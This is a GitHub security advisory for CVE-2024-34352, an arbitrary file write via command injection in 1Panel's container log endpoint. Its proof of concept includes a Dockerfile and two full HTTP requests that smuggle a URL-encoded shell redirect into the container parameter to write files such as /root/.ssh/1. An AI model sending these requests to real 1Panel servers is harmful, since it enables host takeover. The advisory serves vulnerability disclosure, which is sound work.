Skip to content

1Panel arbitrary file write vulnerability

Moderate severity GitHub Reviewed Published May 9, 2024 in 1Panel-dev/1Panel • Updated May 14, 2024

Package

gomod github.com/1Panel-dev/1Panel (Go)

Affected versions

< 1.10.3-lts

Patched versions

1.10.3-lts

Description

Summary

There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs.
We can use the following mirror configuration write symbol > to achieve arbitrary file writing

PoC

Dockerfile

FROM bash:latest

COPY echo.sh /usr/local/bin/echo.sh
RUN chmod +x /usr/local/bin/echo.sh
CMD ["echo.sh"]

echo.sh

#!/usr/local/bin/bash
echo "Hello, World!"

Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container
Send the following packet, taking care to change the containerID to the malicious container we constructed

GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1
Host: xxxx:42713
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Upgrade: websocket
Origin: http://xxx:42713
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d
Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==

Then you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges

GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1&since=all&tail=100&follow=true HTTP/1.1
Host: xxx:42713
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Upgrade: websocket
Origin: http://xxx:42713
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d
Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==

Or write a timed task to execute any command.

Impact

The ability to write arbitrary files on the host where the service is deployed can lead to a host takeover

References

@wanghe-fit2cloud wanghe-fit2cloud published to 1Panel-dev/1Panel May 9, 2024
Published to the GitHub Advisory Database May 9, 2024
Reviewed May 9, 2024
Published by the National Vulnerability Database May 14, 2024
Last updated May 14, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

EPSS score

0.043%
(10th percentile)

Weaknesses

CVE ID

CVE-2024-34352

GHSA ID

GHSA-f8ch-w75v-c847

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.